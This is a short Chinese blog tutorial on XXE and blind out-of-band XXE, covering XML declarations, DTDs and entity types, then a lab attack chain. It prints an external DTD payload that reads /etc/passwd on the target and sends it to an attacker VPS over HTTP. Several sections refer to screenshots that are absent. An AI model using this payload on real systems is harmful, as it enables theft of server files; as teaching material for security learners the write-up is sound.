XXE及Blind_OOB_XXE

前言:

    对于XXE始终是只知其意没实际利用过,再次重新学习一遍XXE。

XML:

    在学习XXE之前要理解XML,关于XML的知识点网上很多,我只介绍关于XXE的相关概念,XXE的时候有三个关键词:

  • XML声明  <?xml version ="1.0" encoding="UTF-8"?>
  • DTD文档定义类型。
  • 文档元素  <foo><note></note></foo> 

DTD文档:

    文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    DTD声明元素:

      在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:

    <!ELEMENT 元素名称 类别>  [类别可为:EMPTY、(#PCDATA)、ANY]

    <!ELEMENT 元素名称 (元素内容)>

    注:其实就是定义元素用的,或者说定义一个对象中的<键>一样。

    DTD声明实体:

    <!ENTITY 实体名称 "实体的值">

    注:其实DTD实体就是变量名 + 值,就是个实例,对象而已。

    DTD文档例子截图:

    内部DTD:

    外部DTD:

    内外结合DTD:

 XML实体:

    XML实体分为(普通实体、外部实体)、(参数实体,外部参数实体),如下图:注(引用的时候有分号;)

    普通实体引入外部实体:

    参数实体引入外部实体:

 XXE的查找方法:

  • Service为Xfire。
  • 明显的XML作为内容的输入点。
  • 某些JSON数据作为请求体的。

*Blind_OOB_XXE :

    如果XXE有回显,那么可以直接利用,如果没有回显,就要用到Blind_OOB_XXE的方式进行利用了,实验环境靶机一台,攻击者VPS一台,攻击机一台:

    首先将提交的用户名密码替换成xml文档,Content_type: text/xml后发现可以正常解析,说明可以发送XML文档同时后台可能有解析XML的代码。Blind_OOB_XXE的攻击路线如下:

    攻击路线说明:首先攻击者发送payload1给靶机,靶机解析payload1,请求VPS的.dtd文件payload2,靶机解析payload2,带着执行结果发送到攻击者VPS,攻击者通过日志查看结果。 

攻击者发送请求如下:

    其中http://192.168.221.129:9090/xxe.dtd的内容为:

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://192.168.221.129:55555/pass=%p1;'>">
%p2;

    在VPS上启动http服务,同时监听55555端口:

     VPS中可以看到靶机的"/etc/passwd"文件内容,上述就是Blind_OOB_XXE的攻击链,当然可以使用其他比如FTP的方式请求VPS,都是一样的。

结语:

    写的比较匆忙,内容也不全,仅作记录,后续补充。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值